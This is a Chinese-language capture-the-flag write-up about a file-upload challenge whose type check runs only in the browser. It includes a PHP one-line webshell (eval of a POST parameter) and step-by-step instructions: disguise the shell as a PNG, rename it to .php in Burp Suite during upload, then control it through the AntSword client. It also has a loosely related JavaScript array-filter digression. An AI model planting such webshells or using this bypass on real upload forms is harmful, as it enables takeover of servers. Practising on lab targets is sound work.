攻防世界 上傳一句話木馬
這道題首先是檢查出上傳圖片之後迴響十分快,
所以的話有理由相信這就是js前端過濾
之後檢視原始碼
發現的確是在前端就進行了過濾,只允許上傳 jpg png
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。下面是常識好吧。。。。。。
前端過濾的常見方法::
1、filter():陣列的過濾器方法
2、Object.keys():es6提供的方法,用來獲取物件鍵值對的鍵的集合
3、every():陣列的every方法,因為檢查陣列內的所有元素是否都滿足某一條件,如果都滿足返回true,.如果有一項元素不滿足就返回false。
4、includes():es7中提供的新方法,用於檢測某字串中是否包含給定的值,如果有返回true,沒有返回false,陣列中也有該方法
//假設後端通過介面給我們的資料如下: 下面是一個例子
let data = [ {
name: 'Andy',
age: 13
}, {
name: 'Jack',
age: 14
}, {
name: 'Lucy',
age: 12
} ]
//在實際專案中,我們需要根據篩選框中的條件來實現資料的過濾,下面為過濾方法:
//@param condition 過濾條件
//@param data 需要過濾的資料
let filter=(condition,data)=>{
return data.filter( item => {
return Object.keys( condition ).every( key => {
return String( item[ key ] ).toLowerCase().includes(
String( condition[ key ] ).trim().toLowerCase() )
} )
} )
}
//假設選擇的條件為name中帶字母a的元素
var condition={name:'a'}
filter(condition,data) //[ {name: 'Andy',age: 13},{name: 'Jack',age: 14}]
//假設選擇的條件為name中帶字母a,而且age為13的元素
var condition={name:'a',age:13}
filter(condition,data) //[ {name: 'Andy',age: 13}]
相當於是函式的使用一樣了吧,,filter() 個人感覺是這樣的
首先是上傳一句話木馬,
<?php @eval($_POST['attack']) ?>
審計程式碼知道只能是上傳 png j什麼的格式
之後就是把寫好的一句話木馬改字尾成png
然後上傳
開啟代理,使用 burpsuit 抓包,,,,這裡的話一定要注意代開burpsuit的開關在上傳,不要弄錯,不然的話會抓到錯誤的包
正確的包應該是有檔名和檔案型別的
一定要是這樣的才行,之後就是把檔案的字尾改成php這樣就可以實現檔案的繞過
算了我現在還不知道為什麼要這樣做,,,,,,不過就是跟著做而已
下面是參考的兩篇部落格::::
https://blog.csdn.net/weixin_47982238/article/details/108953680
這是我參考做出來的部落格連結,,,,
做的時候有兩個要點:::;
首先是在burpsuit裡面會返回一個檔案,,,之後使用中國蟻劍連線的是返回加上那個檔案的url,,不是之前原來的網頁的url
第二點是使用中國蟻劍的時候不能連校園網,這樣的話打開不了檔案管理,有時侯還連不上,儲存之後就是直接接右鍵檔案管理(新增成功之後),或者是直接雙擊開啟,,,,,就是這樣了。。
1.1這裡選擇字尾名為php的檔案,發現瀏覽器很快就做出反應了,ctrl+u看下網頁原始碼,(可能是js前端的過濾,因為反應太快了);
果然是前端js過濾了,只允許字尾為jpg和png的檔案上傳;
1.2解決辦法:先準備好含有一句話木馬的php檔案,密碼為zxc(zxc可以自己隨意設定的,用於蟻劍連線的暗號)
1.3把該檔案字尾名改為png
1.4設定火狐本地代理,我這裡用的是一個代理外掛ProxySwitcheroo(可到火狐擴充套件模組自己下載)
1.4.1設定Burp代理,開啟代理
1.5選擇改好的木馬圖片,點選上傳 burp就會攔截到
1.6把1.png改為1.php就可以點選Forward傳送出去啦
1.7瀏覽器就返回上傳成功以及上傳後的檔案路徑
此時檔案路徑為:http://220.249.52.133:51277/upload/1596437999.1.php